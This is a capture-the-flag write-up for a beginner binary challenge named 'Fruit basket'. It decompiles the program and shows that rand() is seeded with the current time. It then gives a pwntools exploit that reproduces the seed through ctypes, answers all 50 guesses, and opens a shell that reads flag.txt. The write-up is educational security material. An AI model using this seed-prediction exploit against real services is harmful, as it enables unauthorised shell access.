# Fruit basket
We were given a [binary](https://gr007.tech/writeups/2023/backdoor/beginner/fruit_basket/chal). The binary when run, asks us to guess a fruit in it's basket.
```shbackdoor/beginner/fruit_basket on  master [!?] via ? v3.11.6❯ ./chalThere is a basket full of fruits, guess the fruit which I am holding ...This seems hard, so I will give an awesome reward, something like a shell if you guess all the fruits right :)
The game starts now !1Your guess : mangoOops ! Wrong Guess ..No shell for you :(```
Let's look inside the binary with ghidra.
```c
/* DISPLAY WARNING: Type casts are NOT being printed */
undefined8 main(void)
{  int r;  time_t tVar1;  size_t len;  long in_FS_OFFSET;  int i;  char buf [12];  long canary;  char *fruit;  bool shell;   canary = *(in_FS_OFFSET + 0x28);  tVar1 = time(0x0);  srand(tVar1);  shell = true;  puts("There is a basket full of fruits, guess the fruit which I am holding ...");  puts(      "This seems hard, so I will give an awesome reward, something like a shell if you guess all th e fruits right :)"      );  usleep(2000000);  puts("\nThe game starts now !");  i = 0;  do {    if (49 < i) {LAB_001014ca:      if (shell) {        system("/bin/sh");      }      if (canary != *(in_FS_OFFSET + 0x28)) {                    /* WARNING: Subroutine does not return */        __stack_chk_fail();      }      return 0;    }    r = rand();    fruit = fruits[r % 10];    printf("%d\n",i + 1);    printf("Your guess : ");    fgets(buf,12,stdin);    len = strcspn(buf,"\n");    buf[len] = '\0';    len = strlen(fruit);    r = strncmp(fruit,buf,len);    if (r != 0) {      puts("Oops ! Wrong Guess ..");      puts("No shell for you :(");      shell = false;      goto LAB_001014ca;    }    puts("Correct !");    puts("");    i += 1;  } while( true );}```
The `fruits` is a global variable stored directly inside the binary which is a two dimensional array that is a list of fruits.
```00102008	Apple0010200e	Orange00102015	Mango0010201b	Banana00102022	Pineapple0010202c	Watermelon00102037	Guava0010203d	Kiwi00102042	Strawberry0010204d	Peach```
We have to guess all 50 fruits right. There seems to be no way of doing a buffer overflow or format string exploit in this code. So we target the seed that is being used to generate all random numbers. If we can use same seed to start our rng, we will arrive at the same random number. But the seed they are using is the system time using `seed(time(0))`. At first I thought well no luck here. But, if we think about it, if both us and the server starts at the same time, we will get the same time and eventually the same seed. The cstdlib `time(0)` returns time int the second resolution. So, we can use the fact that there is not much delay in between our communication, we can basically get the server and our rng to start with the same seed. The following code shows how we can call the cstdlib functions from within python with ctypes and write an exploit to get shell.
```py#!/usr/bin/env python
from ctypes import CDLL
from pwn import remote, gdb, context, log, p64, process, u64
context.log_level = "debug"context.terminal = ["tmux", "split-window", "-h"]
fruits = b"\x08\x20\x10\x00\x00\x00\x00\x00\x0e\x20\x10\x00\x00\x00\x00\x00\x15\x20\x10\x00\x00\x00\x00\x00\x1b\x20\x10\x00\x00\x00\x00\x00\x22\x20\x10\x00\x00\x00\x00\x00\x2c\x20\x10\x00\x00\x00\x00\x00\x37\x20\x10\x00\x00\x00\x00\x00\x3d\x20\x10\x00\x00\x00\x00\x00\x42\x20\x10\x00\x00\x00\x00\x00\x4d\x20\x10\x00\x00\x00\x00\x00"fruits = [u64(fruits[i : i + 8]) for i in range(0, len(fruits), 8)]
fruit_basket = {    0x00102008: b"Apple",    0x0010200E: b"Orange",    0x00102015: b"Mango",    0x0010201B: b"Banana",    0x00102022: b"Pineapple",    0x0010202C: b"Watermelon",    0x00102037: b"Guava",    0x0010203D: b"Kiwi",    0x00102042: b"Strawberry",    0x0010204D: b"Peach",}
libc = CDLL("libc.so.6")# p = process("./chal")p = remote("34.70.212.151", 8006)seed = libc.time(0)libc.srand(seed)log.info(f"using {seed=}")
# gdb.attach(#     p,#     """#     set follow-fork-mode child#     break *(main+318)#     continue#     """,# )
for i in range(50):    rin = libc.rand() % len(fruits)    fruit = fruit_basket[fruits[rin]] log.info(f"rand = {rin}, fruit = {fruit}")    try:        p.sendlineafter(b"Your guess : ", fruit)    except:  # noqa: E722        break
p.interactive()```
```shbackdoor/beginner/fruit_basket on  master [!?] via ? v3.11.6❯ ./sol.py[+] Starting local process './chal' argv=[b'./chal'] : pid 128256[*] using seed=1703526848[*] rand = 7, fruit = b'Kiwi'[DEBUG] Received 0xb8 bytes:    b'There is a basket full of fruits, guess the fruit which I am holding ...\n'    b'This seems hard, so I will give an awesome reward, something like a shell if you guess all the fruits right :)\n'[DEBUG] Received 0x26 bytes:    b'\n'    b'The game starts now !\n'    b'1\n'    b'Your guess : '[DEBUG] Sent 0x5 bytes:    b'Kiwi\n'[*] rand = 2, fruit = b'Mango'[DEBUG] Received 0x1a bytes:    b'Correct !\n'    b'\n'    b'2\n'    b'Your guess : '[DEBUG] Sent 0x6 bytes:    b'Mango\n'[*] rand = 7, fruit = b'Kiwi'[DEBUG] Received 0x1a bytes:    b'Correct !\n'    .    .    .    .    b'\n'    b'49\n'    b'Your guess : '[DEBUG] Sent 0xb bytes:    b'Strawberry\n'[*] rand = 7, fruit = b'Kiwi'[DEBUG] Received 0x1b bytes:    b'Correct !\n'    b'\n'    b'50\n'    b'Your guess : '[DEBUG] Sent 0x5 bytes:    b'Kiwi\n'[*] Switching to interactive mode[DEBUG] Received 0xb bytes:    b'Correct !\n'    b'\n'Correct !
$ ls[DEBUG] Sent 0x3 bytes:    b'ls\n'[DEBUG] Received 0x16 bytes:    b'chal  flag.txt\n'chal  flag.txt$ cat flag.txt[DEBUG] Sent 0xd bytes:    b'cat flag.txt\n'[DEBUG] Received 0x22 bytes:    b'flag{fru17s_w3r3nt_r4nd0m_4t_a11}\n'flag{fru17s_w3r3nt_r4nd0m_4t_a11}```
flag: `flag{fru17s_w3r3nt_r4nd0m_4t_a11}`